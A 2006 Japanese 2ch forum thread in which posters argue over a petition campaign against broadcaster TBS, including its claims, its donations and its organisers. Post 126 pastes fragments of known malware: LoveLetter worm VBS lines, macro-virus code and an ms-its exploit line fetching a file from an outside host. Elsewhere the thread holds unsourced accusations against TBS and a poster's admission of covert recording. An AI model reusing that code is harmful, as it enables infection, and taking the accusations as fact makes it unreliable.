しかも韓国の連中が主張するなら、近世のヨーロッパの地図に散見される朝鮮海(Korean Sea)
の表記であるべきなのに東海、East Seaってのは莫迦にした話だ。

スレ違いにつきsage

>>77
要するに一般人に与える印象が最悪だってこと。
亀田を使い続けているTBSのような対応のほうがおかしい。
0082エージェント・７７４2006/08/30(水) 04:13:21ID:HGlhWufI
イラネは作戦を変えたようだなＫＮみたいに

　　　　　　　　ガンガンいこうぜ

でいいんだよ、もっといいたいこと言ってみｗ
0083エージェント・７７４2006/08/30(水) 04:13:57ID:ETZ/eETQ
何故、日本の放送局なのに「トンヘ」と表記する必要があるんだ？
竹島を「独島」と表記しているようなもんじゃないか

TBSって本気で半島者なんだと痛感した
0084エージェント・７７４2006/08/30(水) 04:14:05ID:GO1MqGiV
>>76
固定ＩＰをフル活動させるんだ
0085人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 04:14:18ID:E0jKIEt7
>>82
徹頭徹尾一貫してますよー
0086エージェント・７７４2006/08/30(水) 04:14:51ID:1D3f6bg8
>>76
人を馬鹿にするのもいい加減にしろ。
ガキじゃないんだぞ。

>>78
粘着なんてしてねぇよ。
0087エージェント・７７４2006/08/30(水) 04:16:16ID:HGlhWufI
>>85
うんでもそれを評価するのは残念だけどネラーなんだ

ＫＮにもいえることだけど自画自賛は控えたほうがいいんじゃない？
0088エージェント・７７４2006/08/30(水) 04:16:20ID:ifFuCgoL
>>86
さびしいなら布団の端でも噛んで寝ろよｗ
0089エージェント・７７４2006/08/30(水) 04:16:49ID:ETZ/eETQ
>>81
スレ違いじゃないじゃん
ここはTBSの偏向報道について抗議してるスレだろ？
またTBSが「誤訳」「誤報」したことについて話し合うのがスレ違い？

他の人もこの件についてどう考えてるかレスしてよ>>63
0090エージェント・７７４2006/08/30(水) 04:18:50ID:9uGFEjRi
>>80
当然です。
捏造報道は不可ですが、偏向報道は自由なのです。
0091エージェント・７７４2006/08/30(水) 04:19:03ID:GO1MqGiV
↓ここでみのもんたが一言
0092エージェント・７７４2006/08/30(水) 04:21:50ID:1EWFjCEk
>>89
最近の韓国の主張は東海に変更しようって言ってたからな。
ＴＢＳの異常さがわかる。つっこむべきだろう。
>>87
ねらーは世界のねらーだ逆らうなってかｗ
0093エージェント・７７４2006/08/30(水) 04:22:46ID:HGlhWufI
>>92
日本語でおｋ
0094エージェント・７７４2006/08/30(水) 04:22:48ID:6EOEQYan
>>85
わかりやすく説明するのと人を馬鹿にしてちゃかすことは
違うな。
0095エージェント・７７４2006/08/30(水) 04:23:00ID:1D3f6bg8
>>85
これまでの経緯を署名フォームに載せるくらいのことはしろよ。

署名する人が皆２ちゃんねらってわけじゃないんだから。
0096エージェント・７７４2006/08/30(水) 04:25:34ID:1EWFjCEk
>>93
どうした？ねらーなんて言って恥ずかしくなったか？
ファビョるくらいなら考えて書き込めｗ
>>90
偏向だけしかしない上に反日なら不要だ。これは法律論じゃなくて国益の問題。
日本人として抗議してるだけ。
0097エージェント・７７４2006/08/30(水) 04:28:58ID:GO1MqGiV
>>96
２ちゃんでは日本人レスは在日判定のトマトですが
0098エージェント・７７４2006/08/30(水) 04:29:44ID:sJ5viE6i
俺日本人だけど抗議はいけないよｗ
0099エージェント・７７４2006/08/30(水) 04:32:07ID:HGlhWufI
>>96
そのネラーからカンパ貰ってるイラネは、もっと恥ずかしい存在ということですね
0100エージェント・７７４2006/08/30(水) 04:33:01ID:9uGFEjRi
>>96
あなたの意見では、反対意見が不要ということですね。
0101エージェント・７７４2006/08/30(水) 04:33:49ID:1EWFjCEk
>>99
２ちゃんを利用してるがねらーと思ったない。聞くと恥ずかしい言葉とも思ってる。
0102エージェント・７７４2006/08/30(水) 04:34:18ID:6EOEQYan
>>96
おまい道だけは踏み外すなよ。
国益というのは多元的で難しい問題だからな。
大人だったらその道に進め、子供だったら大人に聞いてみなさい。
0103エージェント・７７４2006/08/30(水) 04:35:14ID:GO1MqGiV
やっぱネットで個人情報晒すのは怖いね


【山口・女子学生殺害】 「怖ぁ～～（殺された女性と）名前一緒かょ！」 殺害女子高専生、ミクシィに日記★２
http://news19.2ch.net/test/read.cgi/newsplus/1156872936/
0104エージェント・７７４2006/08/30(水) 04:35:50ID:HGlhWufI
>>101
ではイラネにそう意見するべきですね、２ｃｈでカンパをすることは恥ずかしいことだと
0105エージェント・７７４2006/08/30(水) 04:38:44ID:r4PjhIkf
>>100
同じ事毎日ここで繰り返してるだけだからな。
飽きてるので時々返事して遊んでる。もちろん個人的意見だがｗ
>>101
訂正　思ったない→思ったことない。
>>104
カンパは別にしてもしたんくてもいいんじゃない？おまえが口出す問題でもないだろ。
>>102
はいはいｗ
0106エージェント・７７４2006/08/30(水) 04:39:11ID:/8IhpyqD
>>90
>>捏造報道は不可ですが、偏向報道は自由なのです。

偏向報道が自由であるというソースを出せ。
それから放送法をちゃんと読んでから物言えや。

（国内放送の放送番組の編集等）
第３条の２　放送事業者は、国内放送の放送番組の編集に当たつては、
次の各号の定めるところによらなければならない。

1．公安及び善良な風俗を害しないこと。
2．政治的に公平であること。
3．報道は事実をまげないですること。
4．意見が対立している問題については、
できるだけ多くの角度から論点を明らかにすること。
0107エージェント・７７４2006/08/30(水) 04:41:52ID:r4PjhIkf
朝方にかけて今日も藁藁と笑わせてくれてありがとうｗ
早めに寝てヒマだったので時間つぶしにはなったかな。
もう少し寝てたほうがよさげなのでおやすみｗ
0108エージェント・７７４2006/08/30(水) 04:43:27ID:HGlhWufI
>>105
どっちでもいいなら、あなたが黙ってればよろしいのでは？
0109エージェント・７７４2006/08/30(水) 05:02:52ID:9uGFEjRi
FLASHの案の上２行は捏造記事でしょうか？
亀田の試合は疑惑、ダイエット法は過失だと思います。


Bパート
★TBS“亀田の試合、疑惑の判定”→事実“6万件もの抗議を完全無視”
★TBS“健康情報番組で紹介したダイエット法”→事実“中毒者多数、2000人以上に被害”
TBS“石原都知事「日韓併合の歴史を100%正当化するつもりだ」→事実「日韓併合の歴史を100%正当化するつもりはない」
TBS“ハイド議員「靖国に行くべきではないと強く思っている」→事実「靖国に行くべきでないと（強くは）思わない」
TBS“東条英機氏遺族「遺族としては不満もある」→事実「遺族としては不満もあるが、よく参拝してくれた」
TBS“旧石器捏造事件、「つくる会」に結びつける”→事実“全く無関係”
TBS“神栖町ヒ素汚染問題、日本軍の毒ガスが原因と断定的→事実“実際には民間企業の不法投棄”
TBS“731部隊の特集で安部官房長官の写真が写る”→事実“安部氏のイメージダウンの印象操作？”
0110エージェント・７７４2006/08/30(水) 05:37:03ID:pKCxjB1n
>>108
基地外かコミュニケーション障害の方でつか？
人にレスして意見したらとまで聞いて拒否されたら逆ギレかｗ
>>109
内容や文字の添削したほうがいいかな。
>TBS“神栖町ヒ素汚染問題、日本軍の毒ガスが原因と断定的→事実“実際には民間企業の不法投棄”
これはよく知らないんだが事実関係はあってるのか？
0111エージェント・７７４2006/08/30(水) 05:41:29ID:pKCxjB1n
ご意見募集中！ 【Flash案】 >>109の指摘があったので「無責任」の言葉を導入部に入れてみた

最初に
「日々流される情報　わたし達は知らずに多くの情報に晒され意識・無意識に関わらず多くの選択をしています。
　もし今あなたの周りの情報が嘘で汚染されてるとしたら、あなたはどうしますか？
　わたしたちは正しい情報を求めています。」
　　　　　　　　　　　　　　　　　～報道の在り方を考えるインターネット有志の会～


＊“”内はテロップ

Aパート：導入部
“捏造、印象操作、歪曲、偏向、無責任”
“貴方はどれだけTBSの嘘を知っていますか？”
↓
Bパート：TBSの問題報道の列挙。問題部分の色を変えたり、効果音使ったり強調して下さい。
TBS“亀田の試合、疑惑の判定”→事実“6万件もの抗議を完全無視”
TBS“健康情報番組で紹介したダイエット法”→事実“中毒者多数、2000人以上に被害”
TBS“石原都知事「日韓併合の歴史を100%正当化するつもりだ」→事実「日韓併合の歴史を100%正当化するつもりはない」
TBS“ハイド議員「靖国に行くべきではないと強く思っている」→事実「靖国に行くべきでないと（強くは）思わない」
TBS“東条英機氏遺族「遺族としては不満もある」→事実「遺族としては不満もあるが、よく参拝してくれた」
TBS“旧石器捏造事件、「つくる会」に結びつける”→事実“全く無関係”
TBS“神栖町ヒ素汚染問題、日本軍の毒ガスが原因と断定的→事実“実際には民間企業の不法投棄”
TBS“731部隊の特集で安部官房長官の写真が写る”→事実“安部氏のイメージダウンの印象操作？”
↓
Cパート：問題喚起
“総務省に注意を受けても問題を繰り返すTBS”
“TBSには何か意図があっての事なのでしょうか？”
“もしあるとしたら、それにはどんな意図が？”
↓
Dパート:TBSの起こした事件、疑惑。おどろおどろしい感じでお願いします。
“オウム真理教への情報リーク”
“坂本一家惨殺の引き金”
“麻原の顔をサブリミナル手法で放映”
“オウム真理教幹部村井氏刺殺事件に関与疑惑”
“北朝鮮との共同謀議発覚、杉嶋氏の身代金要求に加担”
“杉嶋氏「北朝鮮側の情報操作の受け皿がＴＢＳ」”

↓
Eパート：署名協力のお願い
“私達は日本の為の公正で嘘のない報道を求めています”
“報道に真実を取り戻す為、貴方のお力をお貸し下さい”
“ＴＢＳの放送免許剥奪を求める陳情署名受付 http://www.powup.jp/sign/tbs.aspx”
0112エージェント・７７４2006/08/30(水) 05:47:27ID:Qv72E3H6?2BP(7)
>>111

一つだけ要望意見。

> Cパート：問題喚起
“もしあるとしたら、それにはどんな意図が？”

この部分は明らかに政治的回答に誘導しているので無い方が
好ましいと思われる。
TBSの意図的な誘導を訴求しているのに、自ら政治的な誘導を
行うのは説得力を欠く行為であると思われるため。
0113エージェント・７７４2006/08/30(水) 05:51:32ID:/8IhpyqD
おいおいID:9uGFEjRiよ、手前の言った発言には
ちゃんと責任もてよコラｗ

90 ：エージェント・７７４：2006/08/30(水) 04:18:50 ID:9uGFEjRi
>>80
当然です。
捏造報道は不可ですが、偏向報道は自由なのです。

↑
放送法の何処に「偏向報道は自由」と書いてあるんだ？
答えて見ろコラ。ソース付でしっかりとな。
0114エージェント・７７４2006/08/30(水) 06:01:48ID:9uGFEjRi
>>113
放送法には偏向報道の禁止とはどこにも書いてありません。

それに誰が偏向報道を判断するのですか？総務省と自民党ですか？
言論弾圧はやめた方がいいんじゃないですか。
0115エージェント・７７４2006/08/30(水) 06:17:17ID:/8IhpyqD
>>114
アホだｗｗｗｗｗｗｗｗｗｗｗｗｗ
そういうの、言葉遊びっつーんだよｗｗｗｗ
さすが左翼ｗｗｗｗｗｗｗｗ

（国内放送の放送番組の編集等）

第３条の２　放送事業者は、国内放送の放送番組の編集に当たつては、
次の各号の定めるところによらなければならない。

2．政治的に公平であること。
3．報道は事実をまげないですること。
4．意見が対立している問題については、
できるだけ多くの角度から論点を明らかにすること。

↑
ここで規定されている内容と、「偏向報道をしてもよい」という
お前の腐った主張が相容れる物なのかどうか、よく考えろアホｗｗｗ
上の2.3.4条で定めている内容が、「偏向報道の禁止」だろうがボケｗ

日本語読めないのかお前？
0116川田利明最強伝説 ◆uOtcuob0U2 2006/08/30(水) 06:49:05ID:/pzNRM7G
きめえｗｗｗｗｗｗｗｗｗｗｗｗ
0117エージェント・７７４2006/08/30(水) 06:50:33ID:sJ5viE6i
おいおい左翼とか言うなよ
右も左もねーんだろｗｗｗ？
0118エージェント・７７４2006/08/30(水) 06:54:46ID:eXIQGiSE
右も極右もあるもんか！だろ
0119エージェント・７７４2006/08/30(水) 07:21:31ID:5AUkVgY8
もちろん偏向も問題なんだけど、世論の支持を集めるためには、
捏造や印象操作や犯罪行為に絞って勝負した方がいいんじゃない？

単なる過失じゃない意図的なものとしての背景に偏向がある、
というノリで。

あれもこれもと広げると拡散するし。
0120エージェント・７７４2006/08/30(水) 07:58:14ID:zMs811VF
＞お前の腐った主張が相容れる物なのかどうか、よく考えろアホｗｗｗ
＞上の2.3.4条で定めている内容が、「偏向報道の禁止」だろうがボケｗ

＞日本語読めないのかお前？


ビラや街宣でちっとも署名が増えない理由が分かったような気がする。
0121エージェント・７７４2006/08/30(水) 08:27:01ID:E/9HhYNJ
　　　　　　　／""""""""""ヽ
　　　　　 ／　　　　　　　　　　ヽ
　　　　　| 　　　　　　　　　　　　|
　　　　　|　　/ ||||| |||| || ||| ||||　|
　　　　　|　／|￣￣|冖|￣￣|　 |　 　　
　　　　　|ミミ~｀―´(。。)―‐"彡|　
　　　　　|ミミヾ ,,,　,ｪｪｪｪ、,,,　彡|　
　　　　　　ミミ 　 ヾェｪｪﾉ　 /彡 　　　
　　　　　　　　i＼　　 ⌒　/　　　　　　
　　　　　　 ,／|＼￣￣￣/|￣ヽ、
　　　　　,i　　　　￣i￣i￣　　、 i、
　　　　　.|￣￣￣￣￣￣￣￣.|　i　トン
　　　　_（,,)じゃあおまえが署名(,,）_
　　. .／　|.して手本見せろよ | ＼
　 ／　　 |＿＿＿＿＿＿＿＿|　　＼
0122エージェント・７７４2006/08/30(水) 08:29:27ID:3Vjrr61k
又吉ｲｴｽ信奉者とこのｽﾚの信徒は同ﾚﾍﾞﾙ
0123エージェント・７７４2006/08/30(水) 08:38:06ID:Nm8eTtDi
ところでＮ速のほうの27の後の継続スレは立ってないのかな？
0124エージェント・７７４2006/08/30(水) 08:39:51ID:0em5NgID
署名した１万４千人の最大公約数の賛同が得られるのは、陳情文に書かれ
ている範囲だよな。

イラネは何に対して誠実な対応をしてきたんだろうか。

イラネ個人の支持者や仲間すら必要なら足蹴にするのに署名者を大切に
してきたとは到底感じられないんだが。
0125エージェント・７７４2006/08/30(水) 08:52:29ID:eXIQGiSE
>>123
つhttp://news20.2ch.net/test/read.cgi/news/1156848718/
0126エージェント・７７４2006/08/30(水) 09:05:54ID:wVuu+haU
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"; type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
？？？
0127エージェント・７７４2006/08/30(水) 09:09:35ID:F+OihR+E
ピックルの活躍によって、大した勢いのなかった

ババア恫喝スレの伸びに火がついた・・・

て、ことはピックルに工作を依頼したのは

日テレ叩きを盛り上げて非難をそらしたい他局メディア

今回の騒ぎに最初に食いついたのは・・・








ＴＢＳですか
ありがとうございました
0128エージェント・７７４2006/08/30(水) 09:09:49ID:MaIlqLGq
>>111
>“麻原の顔をサブリミナル手法で放映”

これ放送したのは日テレじゃなかったか？
確か、シティーハンター
0129エージェント・７７４2006/08/30(水) 09:38:38ID:nIL9U8So
>>128
悪いのはとにかく全部TBS。
0130エージェント・７７４2006/08/30(水) 09:42:27ID:dAKNTyUE
>>127
ひどい妄想の垂れ流しだな。正気か？
0131エージェント・７７４2006/08/30(水) 09:45:41ID:cmR7HtvO
プロ右翼のスレはここですか？
0132エージェント・７７４2006/08/30(水) 09:57:14ID:S7RhDeXB
126に御注意！　踏まないように！
0133エージェント・７７４2006/08/30(水) 10:01:12ID:Nm8eTtDi
>>125
サンクス。まだやってたんだね。

お、カンパちょっと増えた？
0134エージェント・７７４2006/08/30(水) 11:02:08ID:XakMb34a
http://www.powup.jp/media/tbs/files/TBS_A4_4P_v1.0.pdf
上記ビラを自宅プリントアウトしコピーしてポスティングしても可。

プリンターの無い人はネットプリントで取り出すことができます
（このシステムが知りたい人は http://www.printing.ne.jp/ ）
セブンイレブンのコピー複合機でタッチパネルから「ネットプリント」を選択、
下記の予約番号を入力すれば
誰でも一通３０円（A4白黒の場合）ですぐ簡単にプリントアウト出来ます。
（判らない時は「ネットプリント」で店員に聞いて下さい）

予約番号05285021　　番号の期限は９月４日（以後順次更新）
0135エージェント・７７４2006/08/30(水) 11:14:03ID:0em5NgID
>>134
「ネットで１万人以上の署名が集まりました」
「これは反日勢力との戦いなんです」
↑
街宣でこんな風に署名が利用されています。ビラに書いてない個人見解
を署名者の総意のように語られる懸念が払拭されない限り、署名を促す
ビラの配布には反対です。
0136エージェント・７７４2006/08/30(水) 11:17:18ID:tW3ATH0c
演説を聞いた人がその言葉からなにを思うか想像したほうがいいよ。
これ、前にもさんざん書いたけど。
0137エージェント・７７４2006/08/30(水) 11:28:33ID:0em5NgID
署名を私物化される懸念があるので、ビラまきを呼びかけるなら、署名を
切り離したものも用意して、どちらを配布するかは配布者が選択できる
ようにしていただきたい。
0138エージェント・７７４2006/08/30(水) 11:32:51ID:2ijR7IUa
この前仕事仲間10人くらいで食事してた時に、ちょうど亀田の件でTBSの話題になった。
オウムのこととか話したら、皆知らなかったのか興味津々だった。


これだけ沢山酷いことしてるから、口コミでも普通に効果があるものなんですね。
0139エージェント・７７４2006/08/30(水) 11:35:51ID:yl2soIwb
応援
0140エージェント・７７４2006/08/30(水) 11:41:31ID:ISRuNL1W
>128
,ここに詳しくまとめてある。
http://homepage1.nifty.com/home_aki/city03-sub.htm

○1995年6月9日
日本テレビ系『きょうの出来事』の報道で、オウム真理教を取り上げた5月7日・14日放映の
TBS系『報道特集』において、松本智津夫被告や上祐史浩氏の顔のアップ、
それに血の付着したナイフのアップなど16カットが一瞬だけ挿入されていたことが明らかになった。
完全なお遊びだった『CITY HUNTER 3』とは違い、サブリミナル効果を狙った意図的な
演出としてはこの『報道特集』が日本の放送史上初の事例となります。
0141エージェント・７７４2006/08/30(水) 12:02:35ID:q6560lZK
・　「ネットの人間は直接目を合わせたら何も言えない暗い奴ら」
・　「ネットの人間は特殊な人間なので相手にしない方がいい」
・　「警察に道路使用許可もらってるんだから文句言わずにテレビ局に従え」
0142エージェント・７７４2006/08/30(水) 12:07:19ID:+b9qcou0
署名15000まで残り500以上あるけど
来月いっぱいかけても埋まるか疑問
0143エージェント・７７４2006/08/30(水) 12:11:30ID:Vqo3Cso4
なあーにが目標２０万署名だよｗｗｗ
２万署名も絶望的じゃんｗｗｗ
0144エージェント・７７４2006/08/30(水) 12:35:52ID:AnwS3Zlj
これは特定の企業を攻撃する禁止スレです


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本当にマナーの悪い連中だ。企業恫喝してんのか？
もうプロ右翼だなｗ
0145エージェント・７７４2006/08/30(水) 13:58:52ID:HFfJn+s9
左翼じゃないのか　極左
テロ行為って言ったら左翼だろ　人民殺すのも左翼
0146エージェント・７７４2006/08/30(水) 14:05:41ID:q6560lZK
＼　　 　　　　 　　　　　　　￤　　　　　　 　 /
　 ＼　　　　　 　　　　　　　￤　　　　　 　 /
　　　　　　　　　　　　　／￣￣　ヽ,
　　　　　　　　　　　　/　　　　　 　 ',　　　　　　/　　 　　＿/＼／＼/＼／|＿
　　　 ＼　　　 ﾉ//, {0}　 /¨`ヽ　{0}　,ﾐヽ　 　 /　 　　 ＼　　　　　　　　　　／
　　　　　＼ ／　く　ｌ　　 ヽ._.ノ　　　', ゝ　＼　　　 　　 ＜　働けバーカ！＞
　　　　　／ ／⌒　ﾘ　　　｀ー'′　　 ' ⌒＼ ＼　　　　／　　　　　　　　　＼
　　　　　(　　￣￣⌒　　　　　　　　　　⌒￣　＿)　　　￣|／＼/＼/＼/￣
　　　　　　｀￣￣｀ヽ　　　　　　　　　　　/´￣
　　　　　　　　　　　|　　　　　　　　　 　 | 　
0147エージェント・７７４2006/08/30(水) 14:12:10ID:djadCy+V
結局ドクロって
個人特定されて泣き喚いてスレから去ったわけ？
ニュー速の連中は身ぐるみはぐまでやるとおもうけど。
0148エージェント・７７４2006/08/30(水) 14:43:18ID:7MkJIhNb
テロも人民殺すのも正義を信じるやつらだよ。
右も左も宗教も正義を唱えて人殺す。
0149エージェント・７７４2006/08/30(水) 14:44:34ID:B79tAmTf
？
誰か死んだのか？
0150エージェント・７７４2006/08/30(水) 14:51:48ID:HFfJn+s9
ｖ速のバカそこまでしてるのかｗ
まろゆきに迷惑かけんなよ
ｖ速無くしてしまえと思ってるねらーは多いぞ
ピックルでも全く役に立たなかったしな
0151エージェント・７７４2006/08/30(水) 14:53:54ID:W54IcIEo
ＫＮ氏から伝言いただきましたので貼らせていただきます。

皆様、ご心配をおかけしておりますが私は元気です。
当スレッドのコテの皆様、名無しの皆様、ＲＯＭの皆様には大変ご心配をおかけしており恐縮に思います。
特にイラネ氏には負担を集中させることとなってしまい、大変申し訳なく思っています。
スレッド上におけるイラネ氏の対応は非常に真摯な姿勢が感じられ、私としても安心しております。
会計上の疑問点についてはイラネ氏によってクリアーになったものと思います。
私のほうにかけられております疑惑については、これは鳥取ＯＦＦに関する問題であり、
このＴＢＳ放送免許剥奪署名運動とか無関係の問題であり、
既に会計上も一度締めており、当時も特に疑問点も生じなかった問題でありますので、
現時点で当スレッドや鳥取スレッドにおいて対応することも適当とも思えず、
私としましては自分のブログにおいて改めて説明していければと思っております。
ついでにこのスレッドにおいて投げかけられている私に関する他の問題点についても、
私としてはブログのほうで回答していきたいと思っています。
ただ、なにぶん話が大変に入り組んでおり、それらに真摯に回答するためには
当スレッドや鳥取スレッドなどの過去ログを精査しなければならず、現在その作業に取り組んでおります。
私生活の多忙などもあり、なかなかその作業も急ピッチで進むというわけでもなくもどかしい想いもしておりますが
可能な限り早くブログにてご説明できることを目指して努力中でございますので
皆様もどうか今少しお待ちいただきたく思います。
当ＯＦＦの活動につきましては、私としては少なくとも９月下旬の署名提出までは責任をもってやっていきたいと思っています。

最後にドクロ氏の件でございますが、スレッド上における彼女に対する中傷や嫌がらせは
本人も非常に嫌がっておりますので、どうか常識と節度をもって自制していただきたく思います。
２ｃｈといえども現実社会の一部に過ぎないのが現実でございます。
どうか現実社会の常識に従った行動をとっていただきたく思います。
こういうことは言わずもがなのことと思っていたのですが、
一向に中傷や嫌がらせが収まる気配が無いようなので、あえて申し上げることにいたしました。
彼女に対する誹謗中傷の根本原因としては、
このスレッドの活動そのものに対する誤解に基づいた非常に極端な偏見があるものと見られます。
これについては、私としましては上記しましたようにブログにて詳細に説明申し上げようと検討しており
またイラネ氏の説明によって大部分は解決済みと思っておりましたのであえて説明を急ごうとはしなかったのですが
ドクロ氏のような被害が出るに及び、誤解と偏見の根強さとその危険性を再認識しました。
このような遺憾な事態のこれ以上の進行を防ぐためには、とりあえず現時点で結論部分だけ先に申し上げておなかければいけません。
それはつまり、私達はＴＢＳの件においても鳥取の件においてもカンパの横領や詐欺などは
一切行っていないということであり、また署名の不正利用も決してしていません。
また、他の政治団体との団体としての不透明な関係なども一切ありません。
皆様どうか、このような誤解を解消して私達への偏見視をやめていただき、
ドクロ氏などへの心ない誹謗中傷をやめてください。お願いいたします。
0152エージェント・７７４2006/08/30(水) 15:04:32ID:tW3ATH0c
コテトリ入れて書き込みしないと本当にKN本人からの伝言だと判断できない。
コテトリ入りでもう一度書き込みをお願いしたい。
0153エージェント・７７４2006/08/30(水) 15:05:31ID:Qv72E3H6?2BP(7)
>>151
都合が悪くなると謹慎と称して逃げてしまったが故に、他の
人に集中したということが分っていないようだ

と、KN氏に伝えた方がよいのではないだろうか
0154エージェント・７７４2006/08/30(水) 15:10:02ID:0em5NgID
ドクロ叩いてる連中は軽蔑に値すると思うが、イラネとＫＮからは誠意も
真摯な姿勢も感じとれず、疑問や疑惑もほとんど解消されていない。
以上が率直な感想。
0155エージェント・７７４2006/08/30(水) 15:11:55ID:IvhcZB7C
>>151
ブログでやるのは勝手ですが他が炎上すると思います
過去の疑惑が解消されていないのに今は問題ないと言われて信じれる人は
なかなかいないのではないでしょうか？
とお伝えください

ちなみに匿名掲示板で伝言といっても本人からだと判断することはできないですよ
0156エージェント・７７４2006/08/30(水) 15:14:58ID:qyqGBfuI
随分空しい署名運動だな。できっこないのにｗ
プロ右翼の煽動ミエミエｗ
0157Y田タヌキ ◆UL9HiEif7s 2006/08/30(水) 15:17:40ID:9XnU6n1a
まあKN氏の伝言っぽいけど
これが擁護派が勝手に作ったものだったらすげえな。
さすがにそれはなさそうだけど。
内容的にKN氏もこんな感じのスタンスっぽそうだし。
0158エージェント・７７４2006/08/30(水) 15:21:19ID:IvhcZB7C
>>157
面白くするためだけに手の込んだことをするやつもいるからなｗ
釣り宣言がない釣りもあるからなんとも言えないよな

これが本当に伝言なら謹慎中でもスレは見てるみたいだけど
書き込めないのはなぜか？そもそも謹慎てなに？
0159エージェント・７７４2006/08/30(水) 15:23:31ID:HGlhWufI
まず誰もＫＮのこと心配してないからｗ
0160エージェント・７７４2006/08/30(水) 15:23:50ID:fS+RabQR
2chでオフを始めて、そこで疑問が出されているのに、
個人のブログで釈明とか意味不明だから。
0161エージェント・７７４2006/08/30(水) 15:24:22ID:0em5NgID
せっかくの長文を作った労苦に対してこんなコメントで申し訳ないが、
かえって不信感が増大しました。お世話様でした。
0162Y田タヌキ ◆UL9HiEif7s 2006/08/30(水) 15:36:48ID:9XnU6n1a
じゃあ俺がさらに燃料投下
昨日ちょっと言い忘れたことがあったが
俺がドクロ氏主催のオフのためのオフで盗聴して、テキスト化した件についてだが
そもそもスレでの雰囲気では密室的な感じで始まりそうだったし
俺は朝早く家を出ていたから、その日にいきなりネトラジやらskypeの話になるとは
思ってなかったから、まあ、録音しておきたいなと思ったわけよ。
普段も、何か重要な会話のときは録音とかしておいて、後で確認のために聞き返すことはあるし。
で、実際に行ってみたら、skypeで会話することになったわけだが
これは基本的に、ドクロ氏や481氏が、
OFF主催者やコテと、2chの人間との間にだいぶ隔絶があるから
それを極力無くしたいという意思のもとに行われたわけで
スレとのQ&Aみたいな形で、質問にもどんどん答えていったわけだ。
ただここで誤算があったというか、まあ481氏の読みが甘かったんだろうけど
ネトラジだったら、多くの人間が聞けるが、skypeではたった16人しか聞けず
その上音質も悪く、大変聞き取りづらいものとなっていたわけだ。
しかも、あとでν速のほうで軽くまとめられていたが
gdgdでろくに聞き取れない部分が多々あり、まともなQ＆Aにはなっておらず
しかも断片的に書かれた部分もあるから、誤解を招く恐れがあり
かえってタチの悪い形になっていた。
俺の発言なんか、まーあのーまーあのー、で終わってたりしたし。
結構良いこと言っていたのに。
で、これでは、ドクロ氏や481氏が、OFFを開いてまでして
2chとの距離を縮めたいという意思を無駄にすることになるわけで
これは非常にまずいと思ったわけよ。
まあ、傍観者たる俺としては、
そういったところも傍観していれば良かったのかもしれないが
渋谷デモのときと、このときのOFFで直に接したせいもあってか
情がわいちゃったんだろうな。
まあオフのためのオフの時には俺も結構ノリノリだったってのもあるんだけど。
で、481氏によるビラ配りとか、イラネ氏主導による街宣が土日に控えており
誤解を生んだまま、イベントを行うのは非常にまずいと思ったわけで
土曜日になる前にテキスト化しなければならないと思い
たった2日であれだけの量の会話をテキスト化したわけだ。マジにしんどかった。
でまあ、実は盗聴してますたって言えば、会話をしていた人間からすると
反感を抱くのはまあ、仕方ないことだとは思うが
そういった反感は覚悟して、こっそり録音していたとカミングアウトしたわけだ。
反感買うのがいやで、オフ仲間同士で馴れ合いがしたけりゃ、こんなことはなしない。
何のためにskypeで会話をしたのかといえば、2chとの隔絶の解消なわけだし
そもそも他の人間も16人ではあるが聞いていたわけだから
その聞いていた部分のテキスト化に反対する奴は
そもそもスカイプでの会話とかに参加しなけりゃいいわけだし
そこらへんで反対する奴に謝る気はない。そこはもう永遠に平行線だろうな。
skypeで会話していた内容以外の所をテキスト化すりゃ、それはプライベートな会話だからまずいだろうけど
俺はskypeで会話していた部分だけをうまくテキスト化したし、ファイルのうぷとかもしてないし。
まあ今後は、堂々としっかり録音する形になりゃいいだけだ。
実際問題、ネトラジとかskypeでの会話なんかは、一応聞こえるけどノイジーだし聞き取りづらい。
それに、その時間しか聞けないのはあまりよろしくない。
だからまあ、ステレオマイクつけたICレコーダーとかで録音したほうが良い。
あとからうぷするのも楽だし。
以上が俺の見解。
で、テキスト化したものが、TBS免許剥奪OFFの募金数百万の行方のまとめwikiのところにしかないっぽいから
一応ここにもアドレス貼っておく。
テキスト自体は結構長いけど見とけ。
http://news.80.kg/index.php?plugin=attach&pcmd=open&file=tanuki.txt&refer=TBS%CC%C8%B5%F6%C7%ED%C3%A5OFF%A4%CE%CA%E7%B6%E2%BF%F4%C9%B4%CB%FC%A4%CE%B9%D4%CA%FD
0163エージェント・７７４2006/08/30(水) 15:48:10ID:O9y0pkhx
相変わらず荒れてんなー
長期戦なるだろうからゆっくりいけや
正直剥奪出来なくても　ネットでしかわかってない
ＴＢＳの異常さが知れ渡るだけでもいいぞ
過去やったことも日本人はすぐ忘れて好意的に見るからな
信用がなくなるどころか不信感持って見られるテレビ
何言ってもウソに聞こえてくるだろうな
笑いがとまらんわ
0164エージェント・７７４2006/08/30(水) 15:53:20ID:tW3ATH0c
